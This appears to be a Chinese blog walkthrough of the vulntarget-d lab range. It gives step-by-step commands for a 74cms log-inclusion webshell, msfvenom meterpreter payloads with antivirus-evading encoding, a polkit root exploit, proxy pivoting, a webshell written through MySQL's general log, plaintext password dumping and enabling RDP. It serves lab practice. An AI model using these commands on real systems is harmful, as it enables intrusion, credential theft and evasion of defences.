渗透靶场——vulntarget-d综合靶场

部署环境

此次靶场共两个个镜像文件,接下来先给大家说一下整个环境的拓扑图以环境布置。
渗透靶场——vulntarget-d综合靶场_第1张图片

信息收集

扫描主机
扫描同一网段中的存活主机
渗透靶场——vulntarget-d综合靶场_第2张图片发现存活主机ip地址(其他ip是我其他机器的ip地址)

192.168.1.17

扫描端口

扫描一下存活靶机的ip地址

nmap -A -p- 192.168.1.17

渗透靶场——vulntarget-d综合靶场_第3张图片发现开放了80、81、3306、8888,看这架势应该是宝塔的界面,那就先访问端口看看
访问80端口发现不可
渗透靶场——vulntarget-d综合靶场_第4张图片

web渗透

访问81端口
在这里发现了一个骑士的cms框架界面
渗透靶场——vulntarget-d综合靶场_第5张图片看到底下的版本信息,搜索一下看看这个版本有没有什么版本漏洞进行利用
渗透靶场——vulntarget-d综合靶场_第6张图片直接搜索这个版本漏洞
渗透靶场——vulntarget-d综合靶场_第7张图片发现实存在文件包含漏洞的,那就直接利用这个漏洞进行渗透即可
查看http://192.168.1.17:81/,通过搜集信息可知,可能存在74cms文件包含漏洞:
然后继续执行:

http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl

post执行

variable=1&tpl=")?>; ob_flush();?>/r/n

渗透靶场——vulntarget-d综合靶场_第8张图片开始包含

http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl

post部分(注意包含的时候,要对应日期)

variable=1&tpl=data/Runtime/Logs/Home/22_03_30.log

渗透靶场——vulntarget-d综合靶场_第9张图片在这里要切记 “shell.php会被被拦截,要避免!

然后就直接上蚁剑链接就行

渗透靶场——vulntarget-d综合靶场_第10张图片已经成功链接
渗透靶场——vulntarget-d综合靶场_第11张图片渗透靶场——vulntarget-d综合靶场_第12张图片

Ubuntu提权

首先先上线MSF,生成一个木马文件,好给Ubuntu虚拟机传上

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf >0330.elf

渗透靶场——vulntarget-d综合靶场_第13张图片
通过蚁剑上传上去之后,赋予执行权限,运行:
在这里插入图片描述渗透靶场——vulntarget-d综合靶场_第14张图片
同时在攻击机开启msf进行连接:

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.1.17
run

渗透靶场——vulntarget-d综合靶场_第15张图片在eval用户的Desktop目录下发现一枚flag:
flag{welcome_to_vulntarget-d}
渗透靶场——vulntarget-d综合靶场_第16张图片
接下来就是进行提取操作了

linux提权

看下当前虚拟机的版本号

cat /etc/issue

在这里插入图片描述
前段时间看到了一个提权cve,适用的范围如下

CentOS系列:

CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:

Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

所以对于当前的靶机来说,这个提权也是可以的

把下载好的poc通过蚁剑就直接上传上去
渗透靶场——vulntarget-d综合靶场_第17张图片执行即可提权

设置代理

渗透靶场——vulntarget-d综合靶场_第18张图片
在反弹shell发现,当前还存在一个内网的ip地址,那就设置代理,进行设置。
添加路由

run post/multi/manage/autoroute

渗透靶场——vulntarget-d综合靶场_第19张图片
加代理

run auxiliary/server/socks_proxy

在这里插入图片描述
然后退出反弹界面
渗透靶场——vulntarget-d综合靶场_第20张图片
然后打开kali文件设置代理

在这使用的是默认的socks5的代理模式。

vi /etc/proxychains4.conf

渗透靶场——vulntarget-d综合靶场_第21张图片

内网扫描

进行主机存活扫描

auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,80,443,8080,3389,445
set RHOSTS 192.168.2.0/24
set threads 50
run

渗透靶场——vulntarget-d综合靶场_第22张图片渗透靶场——vulntarget-d综合靶场_第23张图片

发现了存活主机 192.168.2.129
然后就对存活主机进行详细的端口扫描
sudo proxychains nmap -sT -Pn 192.168.2.129 -p22,23,80,139,445,1433,3306,3389,6379,8080

渗透靶场——vulntarget-d综合靶场_第24张图片发现存在80/139/445/3306端口
然后直接在kali浏览器中访问80端口
在这块给大家讲一下,该如何在浏览器设置才能访问
渗透靶场——vulntarget-d综合靶场_第25张图片然后设置后就可以正常访问即可
访问80端口还有3306端口
渗透靶场——vulntarget-d综合靶场_第26张图片渗透靶场——vulntarget-d综合靶场_第27张图片此时看到3306开放的服务是mysql。

在端口80上看不出啥东西,扫描下目录试试看:

dirsearch -u http://192.168.2.129 --proxy socks5://127.0.0.1:1080

渗透靶场——vulntarget-d综合靶场_第28张图片在这里扫描到了l.php(正常的不会直接在目录下写这个的),其实这里就可以看出来,这是一个phpstudy搭建的网站了,我记得探针在最下面是有用户名密码的,也去看一下
渗透靶场——vulntarget-d综合靶场_第29张图片在这里直接修改代码参数获取了数据库的用户名密码即可
渗透靶场——vulntarget-d综合靶场_第30张图片
访问一下phpinfo.php
渗透靶场——vulntarget-d综合靶场_第31张图片在这里也发现了网站的绝对路径:

C:/phpstudy/PHPTutorial/WWW/phpinfo.php

渗透靶场——vulntarget-d综合靶场_第32张图片
接下来尝试访问:http://192.168.2.129/phpMyAdmin/

渗透靶场——vulntarget-d综合靶场_第33张图片就直接用上面我们发现的用户名密码直接登录即可
渗透靶场——vulntarget-d综合靶场_第34张图片拿到现在很明显了,直接phpmyadmin拿shell。

phpmyadmin日志getshell

账号:root 密码:root(这里也可以进行爆破,不要直接使用Brupsuite进行爆破,可以使用一些比较成熟的工具或者自己写脚本去爆破)
进来之后,开始尝试写日志拿shell
首先查看日志的状态:

SHOW VARIABLES LIKE ‘%general%’

渗透靶场——vulntarget-d综合靶场_第35张图片默认是关闭的所以先将 general_log 设置为on,执行

set global general_log=on;

渗透靶场——vulntarget-d综合靶场_第36张图片再看一下状态
渗透靶场——vulntarget-d综合靶场_第37张图片修改log文件的名称和位置

set global general_log_file=‘C:/phpstudy/PHPTutorial/www/vulntarget.php’;

渗透靶场——vulntarget-d综合靶场_第38张图片
渗透靶场——vulntarget-d综合靶场_第39张图片
验证文件是否存在

http://192.168.2.129/vulntarget.php

在这里插入图片描述
渗透靶场——vulntarget-d综合靶场_第40张图片

写入一句话:

SELECT ‘

渗透靶场——vulntarget-d综合靶场_第41张图片
渗透靶场——vulntarget-d综合靶场_第42张图片
最后使用蚁剑进行连接:
代理配置:
在这里得在kali安装蚁剑,具体安装方式大家也可以自己百度一下即可

渗透靶场——vulntarget-d综合靶场_第43张图片渗透靶场——vulntarget-d综合靶场_第44张图片渗透靶场——vulntarget-d综合靶场_第45张图片执行命令,看下当前权限:
在这里插入图片描述

windows7提权

刚已经拿到了其中一个管理员crow的权限,但是在这里我们想拿到system权限,
在这里使用tasklist /svc来查看有哪些杀毒软件:
渗透靶场——vulntarget-d综合靶场_第46张图片查到有火绒这个软件的存在:
渗透靶场——vulntarget-d综合靶场_第47张图片
那先做一个免杀上线msf:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ lport=1234 -f raw -o crowsec.jpg

渗透靶场——vulntarget-d综合靶场_第48张图片
新生成的文件和加载器通过蚁剑上传到win7中:
渗透靶场——vulntarget-d综合靶场_第49张图片为什么,一直监听不到,实验了一下午也没有得出什么结果,那就直接用大佬的文章来直接弥补吧大佬文章

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
smsf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     1234             yes       The listen port
   RHOST     10.0.20.136      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.0.20.136:1234
[*] Sending stage (175174 bytes) to 10.0.20.136
[*] Meterpreter session 2 opened (10.0.20.132:53280 -> 10.0.20.136:1234 via sessio

渗透靶场——vulntarget-d综合靶场_第50张图片提权测试:getsystem
渗透靶场——vulntarget-d综合靶场_第51张图片提权成功

抓密码

渗透靶场——vulntarget-d综合靶场_第52张图片在这里发现当前没办法抓到密码,主要是因为上面生成的木马是32位的。(如果你生成的木马是64位的,就没有这个问题)
getpid和ps查看一下进程:
渗透靶场——vulntarget-d综合靶场_第53张图片渗透靶场——vulntarget-d综合靶场_第54张图片
那在这里将进程迁移到x64位上去:

migrate 504

渗透靶场——vulntarget-d综合靶场_第55张图片
注意迁移的时候,要迁移到system的user上。渗透靶场——vulntarget-d综合靶场_第56张图片
再次执行命令,即可获取明文密码。
渗透靶场——vulntarget-d综合靶场_第57张图片得到用户名:crow 密码:admin

3389远程连接

run post/windows/manage/enable_rdp

渗透靶场——vulntarget-d综合靶场_第58张图片配置代理之后,连接即可。
渗透靶场——vulntarget-d综合靶场_第59张图片
这样就算是整个的靶场过程了,有什么问题大家也可以相互探讨一下~

你可能感兴趣的:(渗透测试,安全,web安全)